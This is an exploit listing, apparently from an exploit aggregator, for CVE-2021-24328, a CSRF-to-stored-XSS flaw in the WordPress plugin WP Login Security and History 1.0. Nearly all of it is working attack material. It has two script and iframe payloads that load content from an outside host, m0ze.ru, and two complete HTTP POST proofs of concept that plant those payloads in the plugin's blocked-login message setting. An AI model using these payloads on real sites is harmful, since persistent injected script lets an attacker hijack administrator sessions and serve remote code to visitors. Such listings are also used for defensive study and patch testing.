Exploit WP Login Security and History <= 1.0 - CSRF to Stored Cross-Site Scripting (XSS) CVE-2021-24328

Name: WP Login Security and History <= 1.0 - CSRF to Stored Cross-Site Scripting (XSS) CVE-2021-24328
Rating: 5 (6 reviews)

2021-04-12 | CVSS 4.2

## https://sploitus.com/exploit?id=WPEX-ID:EEB41D7B-8F9E-4A12-B65F-F310F08E4ACE
### -- [ Payloads: ]

[$] "><script src=https://m0ze.ru/payload/a.js></script>

[$] "><iframe src=https://m0ze.ru/payload/xfsii.html></iframe>


### -- [ PoC #1 | Authenticated Persistent XSS & XFS | Blocker page message: ]

[!] POST /wp-admin/options-general.php?page=wp_login_security_and_history.php&page_num=%22+onmouseover%3Dalert%28%29+1&tab=2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 252
Cookie: [admin cookies]

can_show_captcha_option=1&show_captcha_count_option=1337&can_block_login_trials=1&login_max_trials=1337&login_block_time=13&login_blocked_msg=%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E&Save_Options=++Update+Options++



### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Blocker page message: ]

[!] POST /wp-admin/options-general.php?page=wp_login_security_and_history.php&page_num=%22+onmouseover%3Dalert%28%29+1&tab=2 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Cookie: [admin cookies]

can_show_captcha_option=1&show_captcha_count_option=1337&can_block_login_trials=1&login_max_trials=1337&login_block_time=13&login_blocked_msg=%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E&Save_Options=++Update+Options++